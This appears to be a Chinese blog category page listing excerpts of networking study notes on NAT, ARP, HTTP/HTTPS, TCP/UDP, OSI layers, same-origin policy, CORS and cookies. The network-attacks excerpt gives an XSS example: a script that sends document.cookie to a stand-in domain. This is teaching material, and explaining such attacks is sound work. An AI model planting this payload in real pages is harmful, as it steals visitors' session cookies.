
计算机网络
文章平均质量分 83
siriusol
这个作者很懒,什么都没留下…
展开
-
计算机网络 NAT
打开命令行输入 ipconfig 查询 ip 地址(私有地址);打开百度,输入 ip 查询,查询 ip 地址(公网地址),这两个地址是不一样的。私有地址不能用在 Internet上 (路由器将丢弃寻址这种地址的包) 。这些地址是不能够在公网上面用的,只能用在局域网的内部。私有地址有三种:①10.0.0.0~10.255.255.255/8 ②172.16.0.0~172.31.255.255/12 ③192.168.0.0~192.168.255.255/16。工作原理Network Address原创 2020-06-02 18:29:01 · 719 阅读 · 0 评论 -
计算机网络 ARP
地址解析协议(Address Resolution Protocol),其基本功能为通过目标设备的 IP 地址,查询目标设备的 MAC 地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,不过在 IPv6 中已不再适用,并被**邻居发现协议(NDP)**所替代。ARP 工作流程假设主机 A 和 B 在同一个网段,主机 A 要向主机 B 发送信息,具体的地址解析过程如下:(1) 主机A首先查看自己的ARP表,确定其中是否包含有主机B对应的ARP表项。如果找到了对应的MAC地址,则主机A直接原创 2020-06-02 18:27:34 · 635 阅读 · 0 评论 -
计算机网络 HTTP 与 HTTPS
参考链接:https://cyc2018.github.io/CS-Notes/#/notes/HTTP?id=%e5%85%ad%e3%80%81httpshttps://snailclimb.gitee.io/javaguide/#/docs/network/HTTPS%E4%B8%AD%E7%9A%84TLS端口HTTP 的 URL 由 “http://” 起始且默认使用端口 80,HTTPS 的 URL 由 “https://” 起始且默认使用端口 443。安全性和资源消耗HTTP 协议原创 2020-06-02 18:26:14 · 222 阅读 · 0 评论 -
计算机网络 TCP 与 UDP
背景网络层,可以实现两个主机之间的通信。但是这并不具体,因为,真正进行通信的实体是在主机中的进程,是一个主机中的一个进程与另外一个主机中的一个进程在交换数据。IP 协议虽然能把数据报文送到目的主机,但是并没有交付给主机的具体应用进程。而端到端的通信才应该是应用进程之间的通信。TCP,提供面向连接的服务,在传送数据之前必须先建立连接,数据传送完成后要释放连接。因此TCP是一种可靠的的运输服务,但是正因为这样,不可避免的增加了许多的开销,比如确认,流量控制等。对应的应用层的协议有:SMTP:Simple原创 2020-06-02 18:23:24 · 235 阅读 · 0 评论 -
计算机网络 OSI 七层协议
物理层、数据链路层、网络层、传输层、会话层、表示层、应用层。应用层 ( application-layer )通过应用进程间的交互来完成特定网络应用。应用层交互的数据单元称为报文。应用层协议域名系统DNS,支持万维网应用的 HTTP协议,支持电子邮件的 SMTP协议等等。传输层 ( transport layer )负责向两台主机进程之间的通信提供通用的数据传输服务。传输层协议传输控制协议 TCP(Transmission Control Protocol)提供面向连接的,可靠的数据传原创 2020-06-02 18:21:08 · 755 阅读 · 0 评论 -
计算机网络 浏览器同源
转载于:http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html浏览器安全的基石是"同源政策"(same-origin policy)。一、概述1.1 含义1995年,同源政策由 Netscape 公司引入浏览器。目前,所有浏览器都实行这个政策。最初,它的含义是指,A网页设置的 Cookie,B网页不能打开,除非这两个...转载 2020-04-25 11:32:03 · 428 阅读 · 0 评论 -
计算机网络 跨域资源共享 CORS
转载自:http://www.ruanyifeng.com/blog/2016/04/cors.htmlCORS是一个 W3C 标准,全称是"跨域资源共享"(Cross-origin resource sharing)。它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。一、简介CORS需要浏览器和服务器同时支持。目前,所有浏览器都支持该...转载 2020-04-25 11:22:17 · 257 阅读 · 1 评论 -
计算机网络 HTTP 请求与响应
HTTP 请求报文HTTP请求报文主要由请求行、请求头部、请求正文这 3 部分组成:请求行由 3 部分组成,分别为:请求方法、URL 以及协议版本,之间由空格分隔请求方法包括 GET、DELETE、PUT、POST、TRACE、OPTIONS、 HEAD 以及扩展方法,当然并不是所有的服务器都实现了所有的方法,部分方法即便支持,处于安全性的考虑也是不可用的。协议版本的格式为:HTTP/...原创 2020-04-24 22:11:20 · 535 阅读 · 0 评论 -
计算机网络 网络攻击
跨站脚本攻击 XSS跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。攻击原理例如有一个论坛网站,攻击者可以在上面发布以下内容:<script>location.href="//domain.com/?c=" + document.cookie</script>...原创 2020-04-24 20:51:42 · 832 阅读 · 0 评论 -
计算机网络 HTTP 与 HTTPS
端口HTTP 的 URL 由 “http://” 起始且默认使用端口 80,HTTPS 的 URL 由 “https://” 起始且默认使用端口 443。安全性和资源消耗HTTP 协议运行在 TCP 之上,所有传输的内容都是明文,客户端和服务器端都无法验证对方的身份。HTTPS 是运行在 SSL(安全套接层) / TLS(安全传输层协议) 之上的 HTTP 协议,SSL / TLS 运行在...原创 2020-04-05 22:13:19 · 316 阅读 · 0 评论 -
计算机网络 Cookie
HTTP 协议是无状态的,主要是为了让 HTTP 协议尽可能简单,使得它能够处理大量事务。HTTP/1.1 引入 Cookie 来保存状态信息。Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器之后向同一服务器再次发起请求时被携带上,用于告知服务端两个请求是否来自同一浏览器。由于之后每次请求都会需要携带 Cookie 数据,因此会带来额外的性能开销(尤其是在移动环境下)...转载 2020-03-10 11:07:29 · 325 阅读 · 0 评论 -
计算机网络 零碎知识
OSI 七层协议物理层、数据链路层、网络层、传输层、会话层、表示层、应用层。应用层 ( application-layer )通过应用进程间的交互来完成特定网络应用。应用层交互的数据单元称为报文。应用层协议域名系统DNS,支持万维网应用的 HTTP协议,支持电子邮件的 SMTP协议等等。传输层 ( transport layer )负责向两台主机进程之间的通信提供通用的数据传...原创 2020-02-20 20:15:47 · 504 阅读 · 0 评论